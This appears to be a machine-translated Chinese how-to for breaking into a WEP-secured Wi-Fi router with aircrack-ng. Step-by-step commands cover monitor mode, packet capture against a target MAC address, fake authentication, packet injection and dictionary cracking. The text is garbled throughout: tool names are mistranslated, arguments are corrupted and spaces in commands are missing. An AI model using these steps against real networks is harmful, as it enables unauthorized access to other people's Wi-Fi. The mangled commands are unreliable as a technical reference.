用的是ubuntu系統，不用linux系統的至少要在WIN中安裝Ubuntu。1.安裝飛機-天然氣。在終端輸入sudoapt-get install aircraft-ng。
2.啟動無線網卡的監控模式，在終端輸入:sudo airmon-ngstart wlan0。
3.看看哪些無線路由在工作，在終端輸入:sudo airodump-ngmon0。
然後按ctrl+c退出，保留終端。
4.抓住包裹，打開另壹個終端。輸入:sudo airodump-ng-C6-BSSID 11:22:33:44:55:66-W WEP mon 0。
(-c後面跟6是要破解的路由器的工作通道，- bissid後面跟11:22:33:44:55:66是要破解的無線路由的MAC地址，-w後面跟捕獲包的文件名。可以在步驟2中查看工作無線路由的信道和MAC地址，保存的文件名可以隨意命名。)
5.如果註入被破解，則與目標路由器建立虛擬連接，然後打開另壹個終端。輸入:
sudo air play-ng-1 0-a 11:22:33:44:55:66-阿哈:bb:cc:dd:ee:ff mon0
(aa:bb:cc:dd:ee:ff後跟-h是妳的無線網卡的MAC地址)。如果不知道，可以在終端輸入ifconfig查看。
6.成功建立虛擬連接後，輸入:
sudo air play-ng-2-F-p 0841-c ff:ff:ff:ff:ff:ff:ff-b 11:22:33:44:55:66-h aa:bb:cc:DD:ee:ff mon 0
註射，註射破解是為了加快抓包的速度。
7.收集超過15000(用Bt4破解時收集的數據數)後，再開壹個。
終端，輸入:sudo飛機-ngwep *。cap，並解密它。註意，這裏命令的文件名應該與步驟4壹致。
請指定壹個字典(選項-w)。這是詞典找不到的暗示。
然後進入飛機-ng–w字典wep-01.cap開始破解。
8.破解密碼後在終端輸入sudo airmon-ng stopmon0關閉監聽模式，否則無線網卡會壹直註入剛才的無線路由。
請註意，aircrack-ng中沒有字典。妳需要把bt6裏的字典或者自己生成的字典放在ubuntu的主文件夾裏，格式是xxx.txt。